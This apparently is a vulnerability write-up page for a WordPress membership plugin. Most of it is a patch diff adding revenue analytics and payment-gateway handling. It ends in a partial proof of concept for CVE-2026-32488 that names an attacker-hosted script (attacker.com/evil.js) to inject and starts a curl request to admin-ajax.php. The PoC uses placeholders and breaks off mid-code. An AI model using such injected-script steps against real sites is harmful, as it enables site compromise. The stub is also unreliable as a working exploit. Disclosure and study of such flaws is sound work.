+			$current_date->setTime( 0, 0, 0 );
+
+			while ( $current_date <= $end_date_obj ) {
+				$date_keys[] = $current_date->format( 'Y' );
+				$current_date->modify( '+1 year' );
+			}
+		} elseif ( 'week' === $unit ) {
+			$current_date = new DateTime();
+			$current_date->setTimestamp( $start_date );
+			$end_date_obj = new DateTime();
+			$end_date_obj->setTimestamp( $end_date );
+			$end_date_obj->setTime( 23, 59, 59 );
+			$day_of_week    = (int) $current_date->format( 'w' );
+			$days_to_monday = ( $day_of_week === 0 ? 6 : $day_of_week - 1 );
+			$current_date->modify( "-{$days_to_monday} days" );
+			$current_date->setTime( 0, 0, 0 );
+
+			while ( $current_date <= $end_date_obj ) {
+				$date_keys[] = $current_date->format( 'Y-m-d' );
+				$current_date->modify( '+1 week' );
+			}
+		} else {
+			$date_format = 'Y-m-d';
+			$incrementor = DAY_IN_SECONDS;
+			for ( $i = $start_date; $i <= $end_date; $i += $incrementor ) {
+				$date_keys[] = wp_date( $date_format, $i );
+			}
+		}
+
+		return $date_keys;
+	}
+
+	/**
+	 * @param array $date_keys
+	 * @param mixed $default_value
+	 * @return array
+	 */
+	protected function initialize_data_structure( $date_keys, $default_value ) {
+		$data = [];
+		foreach ( $date_keys as $key ) {
+			$data[ $key ] = $default_value;
+		}
+		return $data;
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @return array
+	 */
+	public function initialize_daily_data_structure( $start_date, $end_date, $unit = 'day' ) {
+		$date_keys = $this->generate_date_keys( $start_date, $end_date, $unit );
+
+		$default_value = [
+			'total_revenue'        => 0,
+			'paid_revenue'         => 0,
+			'refunded_revenue'     => 0,
+			'completed_orders'     => 0,
+			'refunded_orders'      => 0,
+			'new_payments_revenue' => 0,
+			'single_item_revenue'  => 0,
+			'average_order_value'  => 0,
+		];
+
+		return $this->initialize_data_structure( $date_keys, $default_value );
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @param string $scope 'all'|'membership'|'others'
+	 * @param int|null $membership
+	 * @return array
+	 */
+	public function get_revenue_date_range_data( $start_date, $end_date, $unit = 'day', $scope = 'all', $membership = null ) {
+		global $wpdb;
+		$orders_table = ( new TableList() )->orders_table();
+		$daily_data   = $this->initialize_daily_data_structure( $start_date, $end_date, $unit );
+
+		$include_single_items = ( 'others' === $scope || 'all' === $scope );
+
+		$single_item_revenue = [];
+		if ( $include_single_items ) {
+			$single_item_revenue = $this->get_single_item_revenue_data( $start_date, $end_date, $unit );
+		}
+
+		if ( 'others' === $scope ) {
+			$total_single_item_revenue = 0;
+			foreach ( $single_item_revenue as $time_key => $data ) {
+				$single_item_amount = $data['single_item_revenue'] ?? 0;
+				if ( isset( $daily_data[ $time_key ] ) ) {
+					$daily_data[ $time_key ]['total_revenue']        = $single_item_amount;
+					$daily_data[ $time_key ]['new_payments_revenue'] = $single_item_amount;
+					$daily_data[ $time_key ]['single_item_revenue']  = $single_item_amount;
+					$total_single_item_revenue                      += $single_item_amount;
+				}
+			}
+
+			return [
+				'total_revenue'        => $total_single_item_revenue,
+				'net_revenue'          => $total_single_item_revenue,
+				'refunded_revenue'     => 0,
+				'total_orders'         => 0,
+				'total_refunds'        => 0,
+				'new_payments_revenue' => $total_single_item_revenue,
+				'single_item_revenue'  => $total_single_item_revenue,
+				'average_order_value'  => 0,
+				'daily_data'           => $daily_data,
+			];
+		}
+
+		if ( ! $this->table_exists( $orders_table ) ) {
+			if ( $include_single_items ) {
+				$total_single_item_revenue = 0;
+				foreach ( $single_item_revenue as $time_key => $data ) {
+					$single_item_amount = $data['single_item_revenue'] ?? 0;
+					if ( isset( $daily_data[ $time_key ] ) ) {
+						$daily_data[ $time_key ]['total_revenue']        = $single_item_amount;
+						$daily_data[ $time_key ]['new_payments_revenue'] = $single_item_amount;
+						$daily_data[ $time_key ]['single_item_revenue']  = $single_item_amount;
+						$total_single_item_revenue                      += $single_item_amount;
+					}
+				}
+
+				return [
+					'total_revenue'        => $total_single_item_revenue,
+					'net_revenue'          => $total_single_item_revenue,
+					'refunded_revenue'     => 0,
+					'total_orders'         => 0,
+					'total_refunds'        => 0,
+					'new_payments_revenue' => $total_single_item_revenue,
+					'single_item_revenue'  => $total_single_item_revenue,
+					'average_order_value'  => 0,
+					'daily_data'           => $daily_data,
+				];
+			}
+
+			return [
+				'total_revenue'        => 0,
+				'net_revenue'          => 0,
+				'refunded_revenue'     => 0,
+				'total_orders'         => 0,
+				'total_refunds'        => 0,
+				'new_payments_revenue' => 0,
+				'single_item_revenue'  => 0,
+				'average_order_value'  => 0,
+				'daily_data'           => $daily_data,
+			];
+		}
+
+		$membership   = ( 'membership' === $scope && null !== $membership ) ? absint( $membership ) : null;
+		$group_by_map = [
+			'hour'  => "DATE_FORMAT(created_at, '%Y-%m-%d %H')",
+			'day'   => 'DATE(created_at)',
+			'week'  => 'DATE(DATE_SUB(created_at, INTERVAL WEEKDAY(created_at) DAY))',
+			'month' => "DATE_FORMAT(created_at, '%Y-%m')",
+			'year'  => "DATE_FORMAT(created_at, '%Y')",
+		];
+
+		$group_by       = $group_by_map[ $unit ] ?? $group_by_map['day'];
+		$start_date_str = wp_date( 'Y-m-d H:i:s', $start_date );
+		$end_date_str   = wp_date( 'Y-m-d H:i:s', $end_date );
+
+		$daily_data = $this->initialize_daily_data_structure( $start_date, $end_date, $unit );
+
+		$membership_filter = '';
+		$query_params      = [ $start_date_str, $end_date_str ];
+		if ( ! empty( $membership ) ) {
+			$membership_filter = ' AND item_id = %d';
+			$query_params[]    = absint( $membership );
+		}
+
+		$results = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT
+					{$group_by} AS time_key,
+					COALESCE(SUM(CASE WHEN status = 'completed' THEN total_amount ELSE 0 END), 0) AS total_revenue,
+					COALESCE(SUM(CASE WHEN status = 'completed' AND order_type = 'paid' THEN total_amount ELSE 0 END), 0) AS paid_revenue,
+					COALESCE(SUM(CASE WHEN status = 'refunded' THEN total_amount ELSE 0 END), 0) AS refunded_revenue,
+					COUNT(CASE WHEN status = 'completed' THEN 1 END) AS completed_orders,
+					COUNT(CASE WHEN status = 'refunded' THEN 1 END) AS refunded_orders
+				FROM {$orders_table}
+				WHERE created_at BETWEEN %s AND %s {$membership_filter}
+				GROUP BY time_key
+				ORDER BY time_key",
+				...$query_params
+			)
+		);
+
+		foreach ( $results as $row ) {
+			$time_key             = $row->time_key;
+			$paid_revenue         = (float) $row->paid_revenue;
+			$completed_orders     = (int) $row->completed_orders;
+			$new_payments_revenue = $paid_revenue;
+			$average_order_value  = $completed_orders > 0 ? ( (float) $row->total_revenue ) / $completed_orders : 0;
+
+			if ( isset( $daily_data[ $time_key ] ) ) {
+				$daily_data[ $time_key ] = [
+					'total_revenue'        => (float) $row->total_revenue,
+					'paid_revenue'         => $paid_revenue,
+					'refunded_revenue'     => (float) $row->refunded_revenue,
+					'completed_orders'     => $completed_orders,
+					'refunded_orders'      => (int) $row->refunded_orders,
+					'new_payments_revenue' => $new_payments_revenue,
+					'average_order_value'  => $average_order_value,
+					'single_item_revenue'  => 0,
+				];
+			}
+		}
+
+		if ( $include_single_items ) {
+			foreach ( $single_item_revenue as $time_key => $data ) {
+				$single_item_amount = $data['single_item_revenue'] ?? 0;
+
+				if ( isset( $daily_data[ $time_key ] ) ) {
+					$daily_data[ $time_key ]['single_item_revenue']   = $single_item_amount;
+					$daily_data[ $time_key ]['total_revenue']        += $single_item_amount;
+					$daily_data[ $time_key ]['new_payments_revenue'] += $single_item_amount;
+
+					$orders = $daily_data[ $time_key ]['completed_orders'];
+					if ( $orders > 0 ) {
+						$daily_data[ $time_key ]['average_order_value'] = $daily_data[ $time_key ]['total_revenue'] / $orders;
+					}
+				}
+			}
+		}
+
+		$total_revenue              = array_sum( array_column( $daily_data, 'total_revenue' ) );
+		$total_refunded             = array_sum( array_column( $daily_data, 'refunded_revenue' ) );
+		$net_revenue                = $total_revenue - $total_refunded;
+		$total_orders               = array_sum( array_column( $daily_data, 'completed_orders' ) );
+		$total_refunds              = array_sum( array_column( $daily_data, 'refunded_orders' ) );
+		$total_new_payments_revenue = array_sum( array_column( $daily_data, 'new_payments_revenue' ) );
+		$total_single_item_revenue  = array_sum( array_column( $daily_data, 'single_item_revenue' ) );
+		$total_average_order_value  = $total_orders > 0 ? $total_revenue / $total_orders : 0;
+
+		return [
+			'total_revenue'        => $total_revenue,
+			'net_revenue'          => $net_revenue,
+			'refunded_revenue'     => $total_refunded,
+			'total_orders'         => $total_orders,
+			'total_refunds'        => $total_refunds,
+			'new_payments_revenue' => $total_new_payments_revenue,
+			'single_item_revenue'  => $total_single_item_revenue,
+			'average_order_value'  => $total_average_order_value,
+			'daily_data'           => $daily_data,
+		];
+	}
+
+	public function get_single_item_revenue_data( $start_date, $end_date, $unit = 'day' ) {
+		/** @var wpdb $wpdb */
+		global $wpdb;
+
+		$daily_data = $this->initialize_daily_data_structure( $start_date, $end_date, $unit );
+
+		$invoices = array_unique(
+			$wpdb->get_col(
+				$wpdb->prepare(
+					"SELECT meta_value FROM {$wpdb->usermeta} WHERE meta_key = %s",
+					'ur_payment_invoices'
+				)
+			)
+		);
+
+		$format_map = [
+			'hour'  => 'Y-m-d H',
+			'day'   => 'Y-m-d',
+			'week'  => 'Y-m-d',
+			'month' => 'Y-m',
+			'year'  => 'Y',
+		];
+
+		$format = $format_map[ $unit ] ?? $format_map['day'];
+
+		foreach ( $invoices as $invoice ) {
+			$invoice_data = maybe_unserialize( $invoice, true );
+			if ( ! is_array( $invoice_data ) || ! isset( $invoice_data[0] ) || ! is_array( $invoice_data[0] ) ) {
+				continue;
+			}
+			$invoice_data = $invoice_data[0];
+
+			if ( ! isset( $invoice_data['invoice_date'], $invoice_data['invoice_amount'], $invoice_data['invoice_status'] ) ) {
+				continue;
+			}
+
+			if ( 'completed' !== $invoice_data['invoice_status'] ) {
+				continue;
+			}
+
+			$date              = new DateTime( $invoice_data['invoice_date'] );
+			$invoice_timestamp = $date->getTimestamp();
+
+			if ( $invoice_timestamp < $start_date || $invoice_timestamp > $end_date ) {
+				continue;
+			}
+
+			if ( 'week' === $unit ) {
+				$date->modify( '-' . ( (int) $date->format( 'N' ) - 1 ) . ' days' );
+			}
+
+			$time_key = $date->format( $format );
+			$amount   = (float) $invoice_data['invoice_amount'];
+
+			if ( isset( $daily_data[ $time_key ] ) ) {
+				$daily_data[ $time_key ]['single_item_revenue'] = ( $daily_data[ $time_key ]['single_item_revenue'] ?? 0 ) + $amount;
+			}
+		}
+
+		return $daily_data;
+	}
+}
--- a/user-registration/includes/Analytics/Services/MembershipService.php
+++ b/user-registration/includes/Analytics/Services/MembershipService.php
@@ -0,0 +1,28 @@
+<?php
+
+namespace WPEverestURMAnalyticsServices;
+
+defined( 'ABSPATH' ) || exit;
+
+class MembershipService {
+
+	public function get_memberships_list() {
+		$memberships = get_posts(
+			[
+				'post_type'      => 'ur_membership',
+				'post_status'    => 'publish',
+				'posts_per_page' => -1,
+			]
+		);
+
+		return array_map(
+			function ( $membership ) {
+				return [
+					'id'   => $membership->ID,
+					'name' => $membership->post_title,
+				];
+			},
+			$memberships
+		);
+	}
+}
--- a/user-registration/includes/Analytics/Traits/DateUtils.php
+++ b/user-registration/includes/Analytics/Traits/DateUtils.php
@@ -0,0 +1,95 @@
+<?php
+
+namespace WPEverestURMAnalyticsTraits;
+
+defined( 'ABSPATH' ) || exit;
+
+trait DateUtils {
+
+	/**
+	 * @param int $timestamp
+	 * @param string $unit
+	 * @return string
+	 */
+	protected function get_date_key_for_timestamp( $timestamp, $unit = 'day' ) {
+		if ( 'hour' === $unit ) {
+			return wp_date( 'Y-m-d H', $timestamp );
+		} elseif ( 'month' === $unit ) {
+			return wp_date( 'Y-m', $timestamp );
+		} elseif ( 'year' === $unit ) {
+			return wp_date( 'Y', $timestamp );
+		} elseif ( 'week' === $unit ) {
+			return $this->get_week_monday_key( $timestamp );
+		} else {
+			return wp_date( 'Y-m-d', $timestamp );
+		}
+	}
+
+	/**
+	 * @param int $timestamp
+	 * @return string
+	 */
+	protected function get_week_monday_key( $timestamp ) {
+		$date = new DateTime();
+		$date->setTimestamp( $timestamp );
+
+		$day_of_week    = (int) $date->format( 'w' );
+		$days_to_monday = ( $day_of_week === 0 ? 6 : $day_of_week - 1 );
+
+		if ( $days_to_monday > 0 ) {
+			$date->modify( "-{$days_to_monday} days" );
+		}
+
+		return $date->format( 'Y-m-d' );
+	}
+
+	/**
+	 * @param int $timestamp
+	 * @param string $unit
+	 * @param bool $is_end_date
+	 * @return DateTime
+	 */
+	protected function create_aligned_datetime( $timestamp, $unit, $is_end_date = false ) {
+		$date = new DateTime();
+		$date->setTimestamp( $timestamp );
+
+		if ( $is_end_date && in_array( $unit, [ 'week', 'month', 'year' ], true ) ) {
+			$date->setTime( 23, 59, 59 );
+		} else {
+			$date->setTime( 0, 0, 0 );
+		}
+
+		switch ( $unit ) {
+			case 'week':
+				$day_of_week    = (int) $date->format( 'w' );
+				$days_to_monday = ( $day_of_week === 0 ? 6 : $day_of_week - 1 );
+				if ( $days_to_monday > 0 && ! $is_end_date ) {
+					$date->modify( "-{$days_to_monday} days" );
+					$date->setTime( 0, 0, 0 );
+				}
+				break;
+			case 'month':
+				if ( ! $is_end_date ) {
+					$date->modify( 'first day of this month' );
+					$date->setTime( 0, 0, 0 );
+				}
+				break;
+			case 'year':
+				if ( ! $is_end_date ) {
+					$date->modify( 'first day of January this year' );
+					$date->setTime( 0, 0, 0 );
+				}
+				break;
+		}
+
+		return $date;
+	}
+
+	/**
+	 * @param int|null $timestamp
+	 * @return string
+	 */
+	protected function timestamp_to_sql_datetime( $timestamp ) {
+		return wp_date( 'Y-m-d H:i:s', $timestamp );
+	}
+}
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -88,7 +88,7 @@
 		if ( ! check_ajax_referer( $nonce, 'security' ) ) {
 			wp_send_json_error(
 				array(
-					'message' => __( 'Nonce error please reload.', 'user-registration-membership' ),
+					'message' => __( 'Nonce error please reload.', 'user-registration' ),
 				)
 			);
 		}
@@ -107,7 +107,7 @@

 		$currencies = array(
 			'USD' => array(
-				'name'                => esc_html__( 'U.S. Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'U.S. Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -115,7 +115,7 @@
 				'decimals'            => 2,
 			),
 			'GBP' => array(
-				'name'                => esc_html__( 'Pound Sterling', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Pound Sterling', 'user-registration' ),
 				'symbol'              => '£',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -123,7 +123,7 @@
 				'decimals'            => 2,
 			),
 			'EUR' => array(
-				'name'                => esc_html__( 'Euro', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Euro', 'user-registration' ),
 				'symbol'              => '€',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -131,7 +131,7 @@
 				'decimals'            => 2,
 			),
 			'AUD' => array(
-				'name'                => esc_html__( 'Australian Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Australian Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -139,7 +139,7 @@
 				'decimals'            => 2,
 			),
 			'BRL' => array(
-				'name'                => esc_html__( 'Brazilian Real', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Brazilian Real', 'user-registration' ),
 				'symbol'              => 'R$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -147,7 +147,7 @@
 				'decimals'            => 2,
 			),
 			'CAD' => array(
-				'name'                => esc_html__( 'Canadian Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Canadian Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -155,7 +155,7 @@
 				'decimals'            => 2,
 			),
 			'CZK' => array(
-				'name'                => esc_html__( 'Czech Koruna', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Czech Koruna', 'user-registration' ),
 				'symbol'              => 'Kč',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -163,7 +163,7 @@
 				'decimals'            => 2,
 			),
 			'DKK' => array(
-				'name'                => esc_html__( 'Danish Krone', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Danish Krone', 'user-registration' ),
 				'symbol'              => 'kr.',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -171,7 +171,7 @@
 				'decimals'            => 2,
 			),
 			'HKD' => array(
-				'name'                => esc_html__( 'Hong Kong Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Hong Kong Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => ',',
@@ -179,7 +179,7 @@
 				'decimals'            => 2,
 			),
 			'HUF' => array(
-				'name'                => esc_html__( 'Hungarian Forint', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Hungarian Forint', 'user-registration' ),
 				'symbol'              => 'Ft',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -187,7 +187,7 @@
 				'decimals'            => 2,
 			),
 			'ILS' => array(
-				'name'                => esc_html__( 'Israeli New Sheqel', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Israeli New Sheqel', 'user-registration' ),
 				'symbol'              => '₪',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -195,7 +195,7 @@
 				'decimals'            => 2,
 			),
 			'MYR' => array(
-				'name'                => esc_html__( 'Malaysian Ringgit', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Malaysian Ringgit', 'user-registration' ),
 				'symbol'              => 'RM',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -203,7 +203,7 @@
 				'decimals'            => 2,
 			),
 			'MXN' => array(
-				'name'                => esc_html__( 'Mexican Peso', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Mexican Peso', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -211,7 +211,7 @@
 				'decimals'            => 2,
 			),
 			'NOK' => array(
-				'name'                => esc_html__( 'Norwegian Krone', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Norwegian Krone', 'user-registration' ),
 				'symbol'              => 'Kr',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -219,7 +219,7 @@
 				'decimals'            => 2,
 			),
 			'NZD' => array(
-				'name'                => esc_html__( 'New Zealand Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'New Zealand Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -227,7 +227,7 @@
 				'decimals'            => 2,
 			),
 			'PHP' => array(
-				'name'                => esc_html__( 'Philippine Peso', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Philippine Peso', 'user-registration' ),
 				'symbol'              => 'Php',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -235,7 +235,7 @@
 				'decimals'            => 2,
 			),
 			'PLN' => array(
-				'name'                => esc_html__( 'Polish Zloty', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Polish Zloty', 'user-registration' ),
 				'symbol'              => 'zł',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => '.',
@@ -243,7 +243,7 @@
 				'decimals'            => 2,
 			),
 			'RUB' => array(
-				'name'                => esc_html__( 'Russian Ruble', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Russian Ruble', 'user-registration' ),
 				'symbol'              => 'pyб',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => ' ',
@@ -251,7 +251,7 @@
 				'decimals'            => 2,
 			),
 			'SGD' => array(
-				'name'                => esc_html__( 'Singapore Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Singapore Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -259,7 +259,7 @@
 				'decimals'            => 2,
 			),
 			'ZAR' => array(
-				'name'                => esc_html__( 'South African Rand', 'user-registration-membership' ),
+				'name'                => esc_html__( 'South African Rand', 'user-registration' ),
 				'symbol'              => 'R',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -267,7 +267,7 @@
 				'decimals'            => 2,
 			),
 			'SEK' => array(
-				'name'                => esc_html__( 'Swedish Krona', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Swedish Krona', 'user-registration' ),
 				'symbol'              => 'Kr',
 				'symbol_pos'          => 'right',
 				'thousands_separator' => '.',
@@ -275,7 +275,7 @@
 				'decimals'            => 2,
 			),
 			'CHF' => array(
-				'name'                => esc_html__( 'Swiss Franc', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Swiss Franc', 'user-registration' ),
 				'symbol'              => 'CHF',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -283,7 +283,7 @@
 				'decimals'            => 2,
 			),
 			'TWD' => array(
-				'name'                => esc_html__( 'Taiwan New Dollar', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Taiwan New Dollar', 'user-registration' ),
 				'symbol'              => '$',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -291,7 +291,7 @@
 				'decimals'            => 2,
 			),
 			'THB' => array(
-				'name'                => esc_html__( 'Thai Baht', 'user-registration-membership' ),
+				'name'                => esc_html__( 'Thai Baht', 'user-registration' ),
 				'symbol'              => '฿',
 				'symbol_pos'          => 'left',
 				'thousands_separator' => ',',
@@ -370,6 +370,7 @@
 		$symbol                  = $currencies[ $currency ]['symbol'];
 		$new_mem                 = array();
 		$active_payment_gateways = array();
+		$is_new_installation     = ur_string_to_bool( get_option( 'urm_is_new_installation', '' ) );

 		foreach ( $memberships as $k => $membership ) {

@@ -379,7 +380,7 @@
 			$amount                = ! empty( $membership['meta_value']['amount'] ) ? number_format( (float) $membership['meta_value']['amount'], 2 ) : 0;
 			$symbol_pos            = isset( $currencies[ $currency ]['symbol_pos'] ) ? $currencies[ $currency ]['symbol_pos'] : 'left';
 			$membership_cur_amount = ! empty( $amount ) ? ( 'right' === $symbol_pos ? $amount . $symbol : $symbol . $amount ) : '';
-			$duration_label = '';
+			$duration_label        = '';
 			if ( ! empty( $membership['meta_value']['subscription']['duration'] ) ) {
 				$duration_key    = isset( $membership['meta_value']['subscription']['duration'] ) ? strtolower( $membership['meta_value']['subscription']['duration'] ) : '';
 				$duration_labels = array(
@@ -398,19 +399,57 @@
 				'amount'            => ! empty( $membership_meta_value ) ? $membership['meta_value']['amount'] : 0,
 				'currency_symbol'   => $symbol,
 				'calculated_amount' => 'free' === $membership_type ? 0 : ( ! empty( $membership_meta_value ) ? round( $membership_meta_value['amount'] ) : 0 ),
-				'period'            => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? 's' : '' ) : $membership_cur_amount ),
+				'period'            => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? __( 's', 'user-registration' ) : '' ) : $membership_cur_amount ),
 			);
+
 			if ( isset( $membership['meta_value']['payment_gateways'] ) ) {
+
 				foreach ( $membership['meta_value']['payment_gateways'] as $key => $gateways ) {
-					if ( 'on' !== $gateways['status'] ) {
-						continue;
+
+					if ( $is_new_installation ) {
+						if ( ! urm_is_payment_gateway_configured( $key ) ) {
+							continue;
+						}
+						$active_payment_gateways[ $key ] = true;
+					} else {
+						if ( isset( $gateways['status'] ) && 'on' !== $gateways['status'] ) {
+							continue;
+						}
+						$active_payment_gateways[ $key ] = isset( $gateways['status'] ) ? $gateways['status'] : 'off'; //setting users gateway to off for now if no status received.
 					}
-					$active_payment_gateways[ $key ] = $gateways['status'];
 				}

 				$new_mem[ $k ]['active_payment_gateways'] = ( wp_unslash( wp_json_encode( $active_payment_gateways ) ) );
 			}
 			$active_payment_gateways = array();
+			if ( isset( $membership['meta_value']['team_pricing'] ) ) {
+				$new_mem[ $k ]['team_pricing'] = $membership['meta_value']['team_pricing'];
+			}
+		}
+
+		// Sort memberships by saved order if available
+		$saved_order = get_option( 'ur_membership_order', array() );
+		if ( ! empty( $saved_order ) && ! empty( $new_mem ) ) {
+			$order_map = array_flip( $saved_order );
+
+			$ordered_memberships   = array();
+			$unordered_memberships = array();
+
+			foreach ( $new_mem as $membership ) {
+				$membership_id = isset( $membership['ID'] ) ? (int) $membership['ID'] : 0;
+				if ( isset( $order_map[ $membership_id ] ) ) {
+					$ordered_memberships[ $order_map[ $membership_id ] ] = $membership;
+				} else {
+					// Membership is not in saved order, append at end
+					$unordered_memberships[] = $membership;
+				}
+			}
+
+			ksort( $ordered_memberships );
+
+			// Merge ordered and unordered memberships
+			$new_mem = array_values( $ordered_memberships );
+			$new_mem = array_merge( $new_mem, $unordered_memberships );
 		}

 		return $new_mem;
@@ -557,3 +596,529 @@
 		return $targetDate->format( 'Y-m-d 00:00:00' );
 	}
 }
+
+if ( ! function_exists( 'urm_get_plan_description' ) ) {
+	/**
+	 * Get plan description based on type and period.
+	 *
+	 * @param string $plan_type Plan type.
+	 * @param string $plan_period Plan period.
+	 *
+	 * @return string
+	 */
+	function urm_get_plan_description( $plan_type, $plan_period ) {
+		if ( 'free' === $plan_type ) {
+			return __( 'Completely Free', 'user-registration' );
+		}
+
+		$period_lower = strtolower( $plan_period );
+		if ( false !== strpos( $period_lower, 'month' ) ) {
+			return __( 'This will be billed every month', 'user-registration' );
+		}
+
+		if ( false !== strpos( $period_lower, 'lifetime' ) ) {
+			return __( 'This is a one-time payment', 'user-registration' );
+		}
+
+		return '';
+	}
+}
+
+if ( ! function_exists( 'urm_get_gateway_image_url' ) ) {
+	/**
+	 * Get payment gateway image URL.
+	 *
+	 * @param string $gateway_key Gateway key.
+	 * @param array $gateway_images Gateway images mapping.
+	 * @param string $plugin_url Plugin URL.
+	 *
+	 * @return string
+	 */
+	function urm_get_gateway_image_url( $gateway_key, $gateway_images, $plugin_url ) {
+		$image_file = isset( $gateway_images[ $gateway_key ] ) ? $gateway_images[ $gateway_key ] : '';
+
+		if ( empty( $image_file ) ) {
+			return '';
+		}
+
+		return esc_url( $plugin_url . '/assets/images/settings-icons/membership-field/' . $image_file );
+	}
+}
+
+if ( ! function_exists( 'urm_get_active_gateways_for_plan' ) ) {
+	/**
+	 * Parse active payment gateways from membership option.
+	 *
+	 * @param array $option Membership option data.
+	 * @param array $payment_gateways Available payment gateways.
+	 *
+	 * @return array
+	 */
+	function urm_get_active_gateways_for_plan( $option, $payment_gateways ) {
+		$active_gateways = array();
+
+		if ( empty( $option['active_payment_gateways'] ) ) {
+			return $active_gateways;
+		}
+
+		$gateways_json = is_string( $option['active_payment_gateways'] )

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32488 - Unauthenticated Remote Code Execution via Divi Builder Constant Injection

/*
 * This PoC demonstrates how an attacker can exploit the vulnerable constant check
 * to load a malicious JavaScript file. For demonstration purposes, we simulate
 * defining the constants and triggering the vulnerable code path.
 * 
 * Note: In real-world scenarios, an attacker would need to exploit an additional
 * vulnerability to define arbitrary PHP constants. This PoC focuses on the core
 * vulnerability after achieving constant injection.
 */

$target_url = 'http://target-site.com'; // Change this to the target WordPress URL
$attacker_js_url = 'http://attacker.com/evil.js'; // URL to attacker-controlled JavaScript

// Step 1: Craft the request to define arbitrary constants via a PHP object injection or similar
// For demonstration, we use a direct PHP execution endpoint if available
// In a real scenario, this would be via a deserialization vulnerability or plugin-specific vector

// Step 2: Once constants are defined, trigger the vulnerable code path
// The vulnerable code runs when the Divi builder is active and the UR_MEMBERSHIP_VERSION constant is defined
// We can trigger this by loading a page that uses the Divi builder with membership components

$payload = array(
    'action' => 'some_action', // Replace with actual action that triggers BuilderAbstract code
    'nonce'  => '' // No nonce needed as this is unauthenticated
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
